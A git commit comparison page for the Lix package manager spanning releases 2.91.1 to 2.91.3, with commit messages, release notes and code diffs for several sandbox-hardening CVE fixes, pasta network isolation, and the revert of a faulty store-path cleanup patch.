Compare commits

...
Author SHA1 Message Date
Raito Bezarius 3a8c42c1bf release: 2.91.3 "Dragon's Breath"
Release produced with releng/create_release.xsh

Change-Id: I68ab3b251290a9ca8b98866d4de816787a551496
2025-06-30 00:03:53 +02:00
Raito Bezarius 1bb22839d3 release: release notes for 2.91.3
Release created with releng/create_release.xsh

Change-Id: I934446f3119a091f27350d4f47a3f0c8ef84c97b
2025-06-30 00:03:47 +02:00
Raito Bezarius 008f44beff version: 2.91.2 -> 2.91.3
Resolves critical correctness bugs as per fj#883.

These bugs were introduced in the previous release for the CVE bugfixes.

Change-Id: I4a9f82e1fbf87403d67450e79478a711a587f07d
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-29 21:44:57 +02:00
EmilyandRaito Bezarius 49c27760c1 libstore: fix Unix sockets in the build directory on sandboxed macOS
We’re already allowing `/tmp` anyway, so this should be harmless,
and it fixes a regression in the default configuration caused by
moving the build directories out of `temp-dir`. (For instance, that
broke the Lix `guessOrInventPath.sockets` test.)

Note that removing `/tmp` breaks quite a few builds, so although it may
be a good idea in general it would require work on the Nixpkgs side.

Fixes: 749afbbe99
Change-Id: I6a6a69645f429bc50d4cb24283feda3d3091f534
(cherry picked from commit d1db3e5fa3)
2025-06-29 21:44:57 +02:00
Raito Bezarius 9638c4cd92 libstore: fallback on creating a safe space in the default tempdir
If `settings.buildDir` cannot be written to, because we are in a chroot
store, unprivileged or anything.

We can and should always gracefully fallback to a *secure* location
inside of /tmp, i.e. `/tmp/<a directory under 0700>/<our temporary
directory for build under 0700>/...`.

This does not reintroduce CVE-2025-52991 because we are creating a
directory in-between compared to creating only ONE level of directory.

Under macOS, the first level of directory has actually mode 0755 instead
of 0700 as macOS often do not possess the right primitives to chroot
inside of these directories, leading to
https://github.com/NixOS/nix/pull/11031.

Thanks to Emily for the heads-up on this type of matter.

Fixes #876.

Change-Id: Ie521202923f763225e1901ab1b9b6c6132aaf548
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-29 21:44:57 +02:00
eldritch horrorsandRaito Bezarius 92cc6193e0 Revert "libstore/build: automatic clean up of unsuccessfully built scratch outputs"
This reverts commit a2189bcb2e as this is the root cause of the critical correctness bug.

Change-Id: Ic85d3d670dc9488d49f03988fe42feb0cf0e7084
2025-06-29 21:44:57 +02:00
eldritch horrorsandRaito Bezarius d227ad324e Revert "libstore: fix scratch output cleanup"
This reverts commit 779e795732 as this is an insufficient fix for the critical correctness bug.

Change-Id: I5681c9f25537e01892e4c9e7feff2cee8b6edb25
2025-06-29 19:05:14 +00:00
eldritch horrorsandRaito Bezarius 2310539e66 Revert "libstore: don't delete already valid outputs after build"
This reverts commit 4ef56601b5 as this is an insufficient fix for the critical correctness bug.

Change-Id: I7885c437ce4df25002d92654312b3b1bae53bfa3
2025-06-29 19:04:43 +00:00
Raito Bezariusandeldritch horrors 3d446ea37e releng: move to a non-official release
This is required for releng to cut a new release.

This is suboptimal releng as the script should probably do it itself and
merge the releng branch.

As we are in a hurry, we will skip this.

Change-Id: I54fccb11938adefc8685d04247e16401135dad8d
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-29 20:39:29 +02:00
eldritch horrors 4ef56601b5 libstore: don't delete already valid outputs after build
eagerly consider outputs as not needing deletion during output
registration rather than only doing so after registration. not
waiting for registration to succeed may keep store paths alive
in the file system if registration fails for some reason; that
seem preferrable to the possibility of having another instance
of this bug. since we only leave *good* outputs around there's
not much to worry about except maybe bit of wasted disk space.

fixes #883

Change-Id: I8c22c92e39b9e203f1061278f86cde19dc4474a4
2025-06-27 16:37:30 +02:00
eldritch horrors 779e795732 libstore: fix scratch output cleanup
the daemon must use real store paths, not virtual store paths. using
virtual paths may inadvertently delete paths in the system nix store
when a build was run on a redirected store as root, which isn't good

Change-Id: Id048b236bda0e0ab1f3be6ccba0ddc1de2a3e941
2025-06-27 16:37:08 +02:00
Raito Bezarius 151cb75236 release: 2.91.2 "Dragon's Breath"
Release produced with releng/create_release.xsh

Change-Id: Iaae75be51d51a553c29720e00f98565d314783bb
2025-06-24 13:12:01 +00:00
Raito Bezarius 17df7e0e35 release: release notes for 2.91.2
Release created with releng/create_release.xsh

Change-Id: Idf78ea5315a8e6c3f44085605f2b2884754783ea
2025-06-24 13:12:01 +00:00
Raito Bezarius f67a99bdd3 version: 2.91.1 -> 2.91.2
Fixes CVE-2025-46415, CVE-2025-46416, CVE-2025-52991, CVE-2025-52992,
and CVE-2025-52993.

Change-Id: Ie1d97a4e1569bf3b601753665b20cdeb5427e5ca
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 13:12:01 +00:00
Raito Bezarius d33062fd47 flake: bump nix2container
skopeo had a patch that doesn't apply anymore.

That's unfortunate. We force bump nix2container to resume releng
building.

Change-Id: Ic04d962bd444fd5619de6e0842d3535f8bd1b296
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 13:12:01 +00:00
Raito Bezarius a2189bcb2e libstore/build: automatic clean up of unsuccessfully built scratch outputs
When a build fails, its scratch output paths are not cleaned up.

Until recently, this was deemed not a problem but as part of the effort
to harden the Nix builds and protect these paths against being part of a
staged attack (race conditions, etc.), we automatically cleanup after
failed builds.

Fixes CVE-2025-52992.

Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius 91f526e739 libstore: don't default build-dir to temp-dir
if a build directory is accessible to other users it is possible to
smuggle data in and out of build directories. usually this ins only
a build purity problem, but in combination with other issues it can
be used to break out of a build sandbox. to prevent this we default
to using a subdirectory of nixStateDir (which is more restrictive).

Fixes CVE-2025-52991.

Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0
2025-06-24 10:50:21 +00:00
9c2d05997d libstore: use pasta for FODs if available
This allows using a userspace program, pasta, to handle comms between
the build sandbox, and the outside world; allowing for full isolation
including the network namespace, closing the "fixed-output derivation
talks to the host over an abstract domain socket" hole for good.

Fixes CVE-2025-46416.

Co-Authored-By: Puck Meerburg <puck@puckipedia.com>
Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15
2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius 83bba3f12c libutil: add capability support to runProgram2
launching pasta to not run as root will ambient require capabilities.

Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea
2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius de6629754d libutil: add generic redirections runProgram2
explicit stderr redirection makes mergeStderrToStdout unnecessary also.

Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872
2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius faa50e15c8 libutil: make RunningProgram more useful
make it moveable, make it killable, and add a stdout fd accessor.

Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0
2025-06-24 10:50:21 +00:00
Raito Bezarius 18a50a1734 libutil: ensure that _deletePath does NOT use absolute paths with dirfds
When calling `_deletePath` with a parent file descriptor, `openat` is
made effective by using relative paths to the directory file descriptor.

To avoid the problem, the signature is changed to resist misuse with an
assert in the prologue of the function.

Fixes CVE-2025-46415.

Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:21 +00:00
Raito Bezarius d27c247715 libstore: ensure that passAsFile is created in the original temp dir
This ensures that `passAsFile` data is created inside the expected
temporary build directory by `openat()` from the parent directory file
descriptor.

Fixes CVE-2025-52993.

Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:46:21 +00:00
Raito Bezarius bda2f174e4 libutil: writeFile variant for file descriptors
`writeFile` lose its `sync` boolean flag to make things simpler.

A new `writeFileAndSync` function is created and all call sites are
converted to it.

Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-19 19:57:58 +02:00
Raito Bezarius 36327a3b2d libstore: chown to builder variant for file descriptors
We use it immediately for the build temporary directory.

Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-19 19:57:58 +02:00
Raito Bezarius d61d1c16e5 libstore: open build directory as a dirfd as well
We now keep around a proper AutoCloseFD around the temporary directory
which we plan to use for openat operations and avoiding the build
directory being swapped out while we are doing something else.

Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-19 19:57:58 +02:00
Raito Bezarius 0848a16cce libutil: guess or invent a path from file descriptors
This is useful for certain error recovery paths (no pun intended) that
does not thread through the original path name.

Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-19 19:57:58 +02:00
Jade Lovelace 0d5520594e release: merge release 2.91.1 back to mainline
This merge commit returns to the previous state prior to the release but leaves the tag in the branch history.
Release created with releng/create_release.xsh

Change-Id: I29e738732bdd3cc8c9d1e3a5a3e5aa83dfec2a6f
2024-10-18 17:39:22 -07:00
Jade Lovelace 2667fb70c1 release: 2.91.1 "Dragon's Breath"
Release produced with releng/create_release.xsh

Change-Id: Ib97d34a3bd4771242f6f719322c56651ee3e54e7
2024-10-18 17:39:21 -07:00
Jade Lovelace eccb26dd44 release: release notes for 2.91.1
Release created with releng/create_release.xsh

Change-Id: Ib705d64321bbb120e7859ee2a6d2cbe12b34e3fd
2024-10-18 17:38:23 -07:00
Jade Lovelace dcdeefd9c2 [backport 2.91] fix: macOS build broken by fatal lowdown CLI sandbox setup
This failed due to https://github.com/NixOS/nixpkgs/pull/346945, which
makes a second lowdown-unsandboxed that works in nix builds, and the
regular lowdown has executables that fail closed when the sandbox setup
fails.

The actual failure here is only visible on nixos-unstable at the moment,
not 24.05, but this commit should fix it up for all versions.

Fixes: https://git.lix.systems/lix-project/lix/issues/547
Change-Id: I50c0ecb59518ef01a7c0181114c1b4c5a7c6b78b
(cherry picked from commit a020f5f6cb)
2024-10-17 21:18:20 +00:00
Jade Lovelace 4422a649e6 update version in prep for 2.91.1 release
Change-Id: If8865912041cd099f7cfc27e72e0e2299e48fe53
2024-09-26 14:44:23 -07:00
Puck MeerburgandJade Lovelace c89ceb1669 Fix passing custom CA files into the builtin:fetchurl sandbox
Without this, verifying TLS certificates would fail on macOS, as well
as any system that doesn't have a certificate file at /etc/ssl/certs/ca-certificates.crt,
which includes e.g. Fedora.

(cherry picked from commit 37b22dae04)

Change-Id: Iaa2e0e9db3747645b5482c82e3e0e4e8f229f5f9
2024-09-26 14:44:23 -07:00
Eelco DolstraandJade Lovelace 0f099ae619 [security] builtin:fetchurl: Enable TLS verification
This is better for privacy and to avoid leaking netrc credentials in a
MITM attack, but also the assumption that we check the hash no longer
holds in some cases (in particular for impure derivations).

Partially reverts https://github.com/NixOS/nix/commit/5db358d4d78aea7204a8f22c5bf2a309267ee038.

upstream commits:
(cherry picked from commit c04bc17a5a0fdcb725a11ef6541f94730112e7b6)
(cherry picked from commit f2f47fa725fc87bfb536de171a2ea81f2789c9fb)
(cherry picked from commit 7b39cd631e0d3c3d238015c6f450c59bbc9cbc5b)

lix main:
(cherry picked from commit c1631b0a39)

Upstream-PR: https://github.com/NixOS/nix/pull/11585

Change-Id: Ia973420f6098113da05a594d48394ce1fe41fbb9
2024-09-26 14:44:23 -07:00
Yureka ed51a172c6 libutil: fix conditional for close_range availability
This check is wrong and would cause the close_range() function being called even when it's not available

Change-Id: Ide65b36830e705fe772196c37349873353622761
(cherry picked from commit df49d37b71)
2024-08-20 09:09:57 +02:00
Artemis TosiniandJade Lovelace ca2b514e20 meson: Don't use target_machine
The target_machine variable is meant for the target
of cross compilers. We are not a cross compiler, so
instead reuse our host_machine based checks.

Fixes Linux→FreeBSD cross, since Meson can't figure
out `target_machine.kernel()` in that case.

Fixes: https://git.lix.systems/lix-project/lix/issues/469

Change-Id: Ia46a64c8d507c3b08987a1de1eda171ff5e50df4
2024-08-16 23:56:57 -07:00
44 changed files with 963 additions and 310 deletions
+110
View File
@@ -1,4 +1,114 @@
# Lix 2.91 "Dragon's Breath" (2024-08-12) # Lix 2.91 "Dragon's Breath" (2024-08-12)
# Lix 2.91.3 (2025-06-30)
## Fixes
- Revert CVE-2025-52992 failed mitigation [fj#883](https://git.lix.systems/lix-project/lix/issues/883) [fj#887](https://git.lix.systems/lix-project/lix/issues/887) [cl/3420](https://gerrit.lix.systems/c/lix/+/3420) [cl/3524](https://gerrit.lix.systems/c/lix/+/3524) [cl/3523](https://gerrit.lix.systems/c/lix/+/3523) [cl/3522](https://gerrit.lix.systems/c/lix/+/3522)
Following the initial mitigation of **CVE-2025-52992** in `cl/3420`, we
received reports of **unexpected deletion of in-use store paths**.
Upon investigation, we found that the patch did **not correctly cancel all
automatic deleters**, resulting in potentially critical path loss during normal
operation.
Given the severity and time-sensitive nature of the situation ([see incident
report](https://lix.systems/blog/2025-06-27-lix-critical-bug/)), we evaluated
possible options to repair the behavior safely. However, we concluded that a
rushed fix would either:
* **Overdelete**, i.e. breaking running systems, or,
* **Underdelete**, effectively **reopening CVE-2025-52992** while leaving
orphaned paths behind.
As **CVE-2025-52992 has no known exploit vector**, and correctness is critical
in the Lix project, we have **fully reverted the previous mitigations**.
Moving forward, the Lix team will rework this code path in a **long-term,
correctness-first fix** on the main branch. We will explore backporting it to
stable channels once its safety is assured.
We are deeply sorry for the stability incident and the Lix team remain
available for assisting you in recovering your systems.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
- Fallback to safe temp dir when build-dir is unwritable [fj#876](https://git.lix.systems/lix-project/lix/issues/876) [cl/3502](https://gerrit.lix.systems/c/lix/+/3502)
Non-daemon builds started failing with a permission error after introducing the `build-dir` option:
```
$ nix build --store ~/scratch nixpkgs#hello --rebuild
error: creating directory '/nix/var/nix/builds/nix-build-hello-2.12.2.drv-0': Permission denied
```
This happens because:
1. These builds are not run via the daemon, which owns `/nix/var/nix/builds`.
2. The user lacks permissions for that path.
We considered making `build-dir` a store-level option and defaulting it to `<chroot-root>/nix/var/nix/builds` for chroot stores, but opted instead for a fallback: if the default fails, Nix now creates a safe build directory under `/tmp`.
To avoid CVE-2025-52991, the fallback uses an extra path component between `/tmp` and the build dir.
**Note**: this fallback clutters `/tmp` with build directories that are not cleaned up. To prevent this, explicitly set `build-dir` to a path managed by Lix, even for local workloads.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
# Lix 2.91.2 (2025-06-23)
## Breaking Changes
- Fixed output derivations can be run using `pasta` network isolation [fj#285](https://git.lix.systems/lix-project/lix/issues/285) [cl/3418](https://gerrit.lix.systems/c/lix/+/3418)
Fixed output derivations traditionally run in the host network namespace.
On Linux this allows such derivations to communicate with other sandboxes
or the host using the abstract Unix domains socket namespace; this hasn't
been unproblematic in the past and has been used in two distinct exploits
to break out of the sandbox. For this reason fixed output derivations can
now run in a network namespace (provided by [`pasta`]), restricted to TCP
and UDP communication with the rest of the world. When enabled this could
be a breaking change and we classify it as such, even though we don't yet
enable or require such isolation by default. We may enforce this in later
releases of Lix once we have sufficient confidence that breakage is rare.
[`pasta`]: https://passt.top/
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) and [puck](https://git.lix.systems/puck) for this.
## Fixes
- Always clean up scratch paths after derivations failed to build [cl/3420](https://gerrit.lix.systems/c/lix/+/3420)
Previously, scratch paths created during builds were not always cleaned up if
the derivation failed, potentially leaving behind unnecessary temporary files
or directories in the Nix store.
This fix ensures that such paths are consistently removed after a failed build,
improving Nix store hygiene, hardening Lix against mis-reuse of failed builds
scratch paths.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
- `build-dir` no longer defaults to `temp-dir` [cl/3419](https://gerrit.lix.systems/c/lix/+/3419)
The directory in which temporary build directories are created no longer defaults
to the value of the `temp-dir` setting to avoid builders making their directories
world-accessible. This behavior has been used to escape the build sandbox and can
cause build impurities even when not used maliciously. We now default to `builds`
in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration).
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) for this.
# Lix 2.91.1 (2024-10-18)
## Fixes
- `<nix/fetchurl.nix>` now uses TLS verification [#11585](https://github.com/NixOS/nix/pull/11585)
Previously `<nix/fetchurl.nix>` did not do TLS verification. This was because the Nix sandbox in the past did not have access to TLS certificates, and Nix checks the hash of the fetched file anyway. However, this can expose authentication data from `netrc` and URLs to man-in-the-middle attackers. In addition, Nix now in some cases (such as when using impure derivations) does *not* check the hash. Therefore we have now enabled TLS verification. This means that downloads by `<nix/fetchurl.nix>` will now fail if you're fetching from a HTTPS server that does not have a valid certificate.
`<nix/fetchurl.nix>` is also known as the builtin derivation builder `builtin:fetchurl`. It's not to be confused with the evaluation-time function `builtins.fetchurl`, which was not affected by this issue.
Many thanks to [Eelco Dolstra](https://github.com/edolstra) for this.
# Lix 2.91.0 (2024-08-12) # Lix 2.91.0 (2024-08-12)
Generated
+6 -6
View File
@@ -19,11 +19,11 @@
"nix2container": { "nix2container": {
"flake": false, "flake": false,
"locked": { "locked": {
"lastModified": 1720642556, "lastModified": 1749158376,
"narHash": "sha256-qsnqk13UmREKmRT7c8hEnz26X3GFFyIQrqx4EaRc1Is=", "narHash": "sha256-uirStFNxauh0lxzBowcp28X+Sq7JgsBIDnbwbAfZwf8=",
"owner": "nlewo", "owner": "nlewo",
"repo": "nix2container", "repo": "nix2container",
"rev": "3853e5caf9ad24103b13aa6e0e8bcebb47649fe4", "rev": "0f8974c58755dba441df03598eefd1e1cd50e341",
"type": "github" "type": "github"
}, },
"original": { "original": {
@@ -34,11 +34,11 @@
}, },
"nixpkgs": { "nixpkgs": {
"locked": { "locked": {
"lastModified": 1721931987, "lastModified": 1735651292,
"narHash": "sha256-1Zg8LY0T5EfXtv0Kf4M6SFnjH7Eto4VV+EKJ/YSnhiI=", "narHash": "sha256-YLbzcBtYo1/FEzFsB3AnM16qFc6fWPMIoOuSoDwvg9g=",
"owner": "NixOS", "owner": "NixOS",
"repo": "nixpkgs", "repo": "nixpkgs",
"rev": "e21630230c77140bc6478a21cd71e8bb73706fce", "rev": "0da3c44a9460a26d2025ec3ed2ec60a895eb1114",
"type": "github" "type": "github"
}, },
"original": { "original": {
+13 -1
View File
@@ -227,6 +227,11 @@ configdata += {
'HAVE_SECCOMP': seccomp.found().to_int(), 'HAVE_SECCOMP': seccomp.found().to_int(),
} }
# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs
configdata += {
'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(),
}
libarchive = dependency('libarchive', required : true, include_type : 'system') libarchive = dependency('libarchive', required : true, include_type : 'system')
brotli = [ brotli = [
@@ -371,6 +376,13 @@ endif
# FIXME(Qyriad): the autoconf system checks that busybox has the "standalone" feature, indicating # FIXME(Qyriad): the autoconf system checks that busybox has the "standalone" feature, indicating
# that busybox sh won't run busybox applets as builtins (which would break our sandbox). # that busybox sh won't run busybox applets as builtins (which would break our sandbox).
pasta_path = get_option('pasta-path')
# we can't check the pasta version because passt misuses stdio (it calls _exit()
# after printing the version, which will never print the version unless run from
# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential.
# we *will* enable it in our own packaging, but distributions are not forced to.
pasta = find_program(pasta_path, required : false, native : false)
lsof = find_program('lsof', native : true) lsof = find_program('lsof', native : true)
# This is how Nix does generated headers... # This is how Nix does generated headers...
@@ -417,7 +429,7 @@ check_funcs = [
'strsignal', 'strsignal',
'sysconf', 'sysconf',
] ]
if target_machine.kernel() in ['linux', 'freebsd'] if is_linux or is_freebsd
# musl does not have close_range as of 2024-08-10 # musl does not have close_range as of 2024-08-10
# patch: https://www.openwall.com/lists/musl/2024/08/01/9 # patch: https://www.openwall.com/lists/musl/2024/08/01/9
check_funcs += [ 'close_range' ] check_funcs += [ 'close_range' ]
+4
View File
@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox',
description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
) )
option('pasta-path', type : 'string', value : 'pasta',
description : 'path to the location of pasta (provided by passt)',
)
option('enable-tests', type : 'boolean', value : true, option('enable-tests', type : 'boolean', value : true,
description : 'whether to enable tests or not (requires rapidcheck and gtest)', description : 'whether to enable tests or not (requires rapidcheck and gtest)',
) )
+60
View File
@@ -0,0 +1,60 @@
{
lib,
stdenv,
buildPackages,
fetchurl,
getconf,
gitUpdater,
testers,
}:
stdenv.mkDerivation (finalAttrs: {
pname = "passt";
version = "2025_02_17.a1e48a0";
src = fetchurl {
url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz";
hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE=";
};
postPatch = ''
substituteInPlace Makefile --replace-fail \
'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \
"PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)"
'';
makeFlags = [
"prefix=${placeholder "out"}"
"VERSION=${finalAttrs.version}"
];
passthru = {
tests.version = testers.testVersion { package = finalAttrs.finalPackage; };
updateScript = gitUpdater { url = "https://passt.top/passt"; };
};
meta = with lib; {
homepage = "https://passt.top/passt/about/";
description = "Plug A Simple Socket Transport";
longDescription = ''
passt implements a translation layer between a Layer-2 network interface
and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host.
It doesn't require any capabilities or privileges, and it can be used as
a simple replacement for Slirp.
pasta (same binary as passt, different command) offers equivalent
functionality, for network namespaces: traffic is forwarded using a tap
interface inside the namespace, without the need to create further
interfaces on the host, hence not requiring any capabilities or
privileges.
'';
license = [
licenses.bsd3 # and
licenses.gpl2Plus
];
platforms = platforms.linux;
maintainers = with maintainers; [ _8aed ];
mainProgram = "passt";
};
})
+2 -1
View File
@@ -1 +1,2 @@
d @localstatedir@/nix/daemon-socket 0755 root root - - d @localstatedir@/nix/daemon-socket 0755 root root - -
d @localstatedir@/nix/builds 0755 root root 7d -
+9 -1
View File
@@ -30,6 +30,8 @@
lix-clang-tidy ? null, lix-clang-tidy ? null,
llvmPackages, llvmPackages,
lsof, lsof,
# FIXME: remove default after dropping NixOS 24.05
lowdown-unsandboxed ? lowdown,
lowdown, lowdown,
mdbook, mdbook,
mdbook-linkcheck, mdbook-linkcheck,
@@ -37,6 +39,8 @@
meson, meson,
ninja, ninja,
openssl, openssl,
# FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later
passt-lix ? __forDefaults.passt-lix,
pegtl, pegtl,
pkg-config, pkg-config,
python3, python3,
@@ -85,6 +89,8 @@
lix-doc = callPackage ./lix-doc/package.nix { }; lix-doc = callPackage ./lix-doc/package.nix { };
build-release-notes = callPackage ./maintainers/build-release-notes.nix { }; build-release-notes = callPackage ./maintainers/build-release-notes.nix { };
passt-lix = callPackage ./misc/passt.nix { };
}, },
}: }:
let let
@@ -193,6 +199,7 @@ stdenv.mkDerivation (finalAttrs: {
# which don't actually get added to PATH. And buildInputs is correct over # which don't actually get added to PATH. And buildInputs is correct over
# nativeBuildInputs since this should be a busybox executable on the host. # nativeBuildInputs since this should be a busybox executable on the host.
"-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}" "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}"
"-Dpasta-path=${lib.getExe' passt-lix "pasta"}"
] ]
++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true" ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true"
++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false" ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false"
@@ -221,7 +228,7 @@ stdenv.mkDerivation (finalAttrs: {
cmake cmake
] ]
++ [ ++ [
(lib.getBin lowdown) (lib.getBin lowdown-unsandboxed)
mdbook mdbook
mdbook-linkcheck mdbook-linkcheck
] ]
@@ -264,6 +271,7 @@ stdenv.mkDerivation (finalAttrs: {
++ lib.optionals hostPlatform.isLinux [ ++ lib.optionals hostPlatform.isLinux [
libseccomp libseccomp
busybox-sandbox-shell busybox-sandbox-shell
passt-lix
] ]
++ lib.optional internalApiDocs rapidcheck ++ lib.optional internalApiDocs rapidcheck
++ lib.optional hostPlatform.isx86_64 libcpuid ++ lib.optional hostPlatform.isx86_64 libcpuid
+2 -2
View File
@@ -251,7 +251,7 @@ void runNix(Path program, const Strings & args)
.program = settings.nixBinDir+ "/" + program, .program = settings.nixBinDir+ "/" + program,
.args = args, .args = args,
.environment = subprocessEnv, .environment = subprocessEnv,
}).wait(); }).waitAndCheck();
return; return;
} }
@@ -650,7 +650,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
// runProgram redirects stdout to a StringSink, // runProgram redirects stdout to a StringSink,
// using runProgram2 to allow editors to display their UI // using runProgram2 to allow editors to display their UI
runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait(); runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck();
// Reload right after exiting the editor if path is not in store // Reload right after exiting the editor if path is not in store
// Store is immutable, so there could be no changes, so there's no need to reload // Store is immutable, so there could be no changes, so there's no need to reload
+4 -3
View File
@@ -17,6 +17,7 @@
#include <string.h> #include <string.h>
#include <sys/time.h> #include <sys/time.h>
#include <sys/wait.h> #include <sys/wait.h>
#include <unistd.h>
using namespace std::string_literals; using namespace std::string_literals;
@@ -163,7 +164,7 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir)
.program = "git", .program = "git",
.args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" }, .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" },
.environment = env, .environment = env,
.mergeStderrToStdout = true .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
}); });
auto exitCode = WEXITSTATUS(result.first); auto exitCode = WEXITSTATUS(result.first);
auto errorMessage = result.second; auto errorMessage = result.second;
@@ -625,7 +626,7 @@ struct GitInputScheme : InputScheme
auto result = runProgram(RunOptions { auto result = runProgram(RunOptions {
.program = "git", .program = "git",
.args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() }, .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() },
.mergeStderrToStdout = true .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
}); });
if (WEXITSTATUS(result.first) == 128 if (WEXITSTATUS(result.first) == 128
&& result.second.find("bad file") != std::string::npos) && result.second.find("bad file") != std::string::npos)
@@ -690,7 +691,7 @@ struct GitInputScheme : InputScheme
.args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() }, .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() },
.captureStdout = true, .captureStdout = true,
}); });
Finally const _wait([&] { proc.wait(); }); Finally const _wait([&] { proc.waitAndCheck(); });
unpackTarfile(*proc.getStdout(), tmpDir); unpackTarfile(*proc.getStdout(), tmpDir);
} }
+2 -2
View File
@@ -917,9 +917,9 @@ void runPostBuildHook(
.program = settings.postBuildHook, .program = settings.postBuildHook,
.environment = hookEnvironment, .environment = hookEnvironment,
.captureStdout = true, .captureStdout = true,
.mergeStderrToStdout = true, .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
}); });
Finally const _wait([&] { proc.wait(); }); Finally const _wait([&] { proc.waitAndCheck(); });
// FIXME just process the data, without a wrapper sink class // FIXME just process the data, without a wrapper sink class
proc.getStdout()->drainInto(sink); proc.getStdout()->drainInto(sink);
+113 -13
View File
@@ -17,6 +17,7 @@
#include "namespaces.hh" #include "namespaces.hh"
#include "child.hh" #include "child.hh"
#include "unix-domain-socket.hh" #include "unix-domain-socket.hh"
#include "platform/linux.hh"
#include <regex> #include <regex>
#include <queue> #include <queue>
@@ -474,11 +475,54 @@ void LocalDerivationGoal::startBuilder()
settings.thisSystem, settings.thisSystem,
concatStringsSep<StringSet>(", ", worker.store.systemFeatures)); concatStringsSep<StringSet>(", ", worker.store.systemFeatures));
/* Create a temporary directory where the build will take try {
place. */ auto buildDir = worker.buildDirOverride.value_or(settings.buildDir.get());
tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
chownToBuilder(tmpDir); createDirs(buildDir);
/* Create a temporary directory where the build will take
place. */
tmpDir =
createTempDir(buildDir, "nix-build-" + std::string(drvPath.name()), false, false, 0700);
} catch (SysError & e) {
/*
* Fallback to the global tmpdir and create a safe space there
* only if it's a permission error.
*/
if (e.errNo != EACCES) {
throw;
}
auto globalTmp = defaultTempDir();
createDirs(globalTmp);
#if __APPLE__
/* macOS filesystem namespacing does not exist, to avoid breaking builds, we need to weaken
* the mode bits on the top-level directory. This avoids issues like
* https://github.com/NixOS/nix/pull/11031. */
constexpr int toplevelDirMode = 0755;
#else
constexpr int toplevelDirMode = 0700;
#endif
auto nixBuildsTmp =
createTempDir(globalTmp, fmt("nix-builds-%s", geteuid()), false, false, toplevelDirMode);
warn(
"Failed to use the system-wide build directory '%s', falling back to a temporary "
"directory inside '%s'",
settings.buildDir.get(),
